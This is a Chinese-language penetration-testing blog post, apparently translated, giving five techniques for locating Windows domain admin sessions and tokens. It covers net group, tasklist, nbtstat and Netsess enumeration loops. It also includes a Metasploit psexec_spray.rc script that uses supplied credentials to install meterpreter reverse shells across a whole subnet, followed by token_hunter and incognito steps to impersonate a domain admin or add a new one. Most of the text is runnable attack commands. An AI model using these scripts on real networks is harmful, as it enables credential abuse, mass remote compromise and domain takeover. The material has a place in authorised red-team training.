關(guān)于域滲透技巧介紹
域管理進程轉(zhuǎn)移,使得滲透測試人員能夠模擬在互聯(lián)網(wǎng)上的域名管理員賬戶進行操作。盡管如此,在滲透測試開始之前需要確認系統(tǒng)中進程是否運行。在這篇博文中,我講介紹5個技巧來幫助大家去做這些事情。
本地檢測
查詢活躍的域控制器
掃描遠程系統(tǒng)上運行的任務(wù)
掃描遠程系統(tǒng)上NetBIOS信息
PSExec掃描遠程系統(tǒng)上的身份驗證令牌
獲取域名管理員權(quán)限
在大多數(shù)情況下,本篇文章關(guān)注的焦點在于識別運行于域名管理進程的系統(tǒng)。
以下為大部分滲透測試人員獲取域名管理權(quán)限的過程
確定目標(biāo)系統(tǒng)和應(yīng)用程序
識別潛在的漏洞
利用漏洞獲得初始訪問
提升權(quán)限
定位域管理進程或者獲取遠程系統(tǒng)上的本地身份驗證令牌
通過本地管理員的密碼Hash,解除密碼,使用mimikatz工具抓取密碼驗證運行在遠程系統(tǒng)上的域名管理進程
遷移域管理進程
創(chuàng)建一個域管理員
整個過程在大多滲透測試社區(qū)中都有提到,如果你想了解更多詳情,可以通過Google找到許多指導(dǎo)書,技術(shù)文章,演示視頻。在本文中,我們注重的是前面提到的定位域管理進程或者獲取遠程系統(tǒng)上的本地身份驗證令牌。
尋找域名管理進程
下面開始講解我承諾給大家的5個技巧。
Technique 1:本地檢測
檢測目標(biāo)系統(tǒng)總是第一步,以下是一個使用本地命令檢測域管理進程的簡單方法。
運行以下命令獲得域管理的列表:
net group “Domain Admins” /domain
運行以下命令列出進程和進程所有者,賬戶運行的進程應(yīng)該第七欄
Tasklist /v
交叉引用的任務(wù)列表和域管理員列表
在目標(biāo)系統(tǒng)中,如果域管理進程一開始就是可用的那就好辦了,但有時候,并非我們想的那么簡單。所以,接下來的4個技巧會幫你在遠程域系統(tǒng)中找出域管理進程。
Technique 2:查詢活躍的域名控制器
據(jù)我所知,這個技巧是由一個NetSPI造成的。我們需要一個方法去識別活躍域名管理進程,或者是關(guān)閉IDS進行一些掃描。最終它會出現(xiàn)一個簡單查詢域控制器,獲取活躍域用戶以及交叉引用域管理員列表。美中不足的是,你需要查詢所有的域控制器。下面我會提供一個基本步驟來獲取活躍域管理員。
使用LDAP查詢從 “Domain Controllers”單元收集域控制器的列表,或者使用一下命令
net group “Domain Controllers” /domain
重要提示:從單元中獲取到的域控制器的列表可信度十分高。但請記住,你應(yīng)該通過列舉信任域進程并標(biāo)記這些域控制器。此外你也可以通過DNS查看
Nslookup –type=SRV _ldap._tcp.
使用LDAP查詢從”Domain Admins”獲取域管理員列表,或者使用下列命令
net group “Domain Admins” /domain
使用Netsess.exe查詢所有域控制器,獲取所有的活躍域。這是一款牛逼的工具,使用如下命令
Netsess.exe –h
交叉引用域管理員列表和活躍會話列表,來確認哪個IP地址有活躍域令牌。在安全的環(huán)境下你可能需要等待域管理員或者含有權(quán)限的服務(wù)賬戶,然后在進行活動。下面是一個快速使用Netsess的Windows命令行腳本,記住dcs.txt是一個域控制器列表admins.txt是一個域管理員列表。
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
我寫了一個簡單的批處理腳本GDA,它可以使整個過程完全自動化,詳情可以看readme文件。在Mark Beard以及Ivan Dasilva的啟發(fā)下,我還創(chuàng)建了一個名為GDU的腳本進行Windows字典攻擊。如果你感興趣,可以通過點擊上面的鏈接下載
Technique 3:掃描遠程系統(tǒng)上運行的任務(wù)
通常經(jīng)過前面兩個技巧的摧殘,大部分情況都能攻下了。然而,我在LaNMSteR53的博客上看到另外一種聰明的方法。如果你使用共享本地管理員帳戶運行域系統(tǒng),你可以運行下面的腳本掃描系統(tǒng)中的域管理任務(wù)。類似于前面提到的技巧,同樣首先需要列舉域管理員。下面的腳本包含,ips.txt目標(biāo)系統(tǒng)列表,names.txt域管理員列表。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
Technique 4:掃描遠程系統(tǒng)上NetBIOS信息
一些Windows系統(tǒng)仍然允許用戶通過NetBIOS查詢已登錄用戶,同樣也可以使用原生的nbtstat工具進行查詢
下面這個Windows命令行腳本將掃描遠程系統(tǒng)活躍域管理會話。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
你也可以使用nbtscan工具
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
Technique 5:PSExec掃描遠程系統(tǒng)上的身份驗證令牌
安裝Metasploit 3.5或更高版本
將下面腳本復(fù)制到一個文本文件并保存到Metasploit目錄,命名為psexec_spray.rc.
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass
#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff - range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require 'rex/socket/range_walker' rhosts = "192.168.1.0/24" iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| #self allows for execution of commands in msfconsole self.run_single("set RHOST #{rhost}") #-j-z send the session to the background self.run_single("exploit -j -z") end
更新smbuser和smbpass參數(shù)
輸入以下命令運行腳本,psexec_spray.rc腳本使用所提供的憑據(jù)在所有存在于192.168.1.0/24的系統(tǒng)中盲目安裝meterpreter shells
msfconsole –r psexec_spray.rc
你可以使用Metasploit的token_hunter模塊識別域管理令牌
創(chuàng)建一個包含域管理員列表的文件: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
加載token_hunter模塊
msfconsole msf> load token_hunter
運行token_hunter列出域管理令牌
msf> token_hunt_user -f /tmp/domain-admin.txt
另外,你可以使用下面的命令來獲得當(dāng)前登錄用戶的列表
Sessions –s loggedin
What Now?
如果你已經(jīng)有一個meterpreter會話,你可以用進入隱身模式來冒充域管理員或者添加一個新的管理員。
在meterpreter會話中加載隱身模式
load incongnito
嘗試添加一個域管理員:
add_user -h
add_group ""Domain Admins"" -h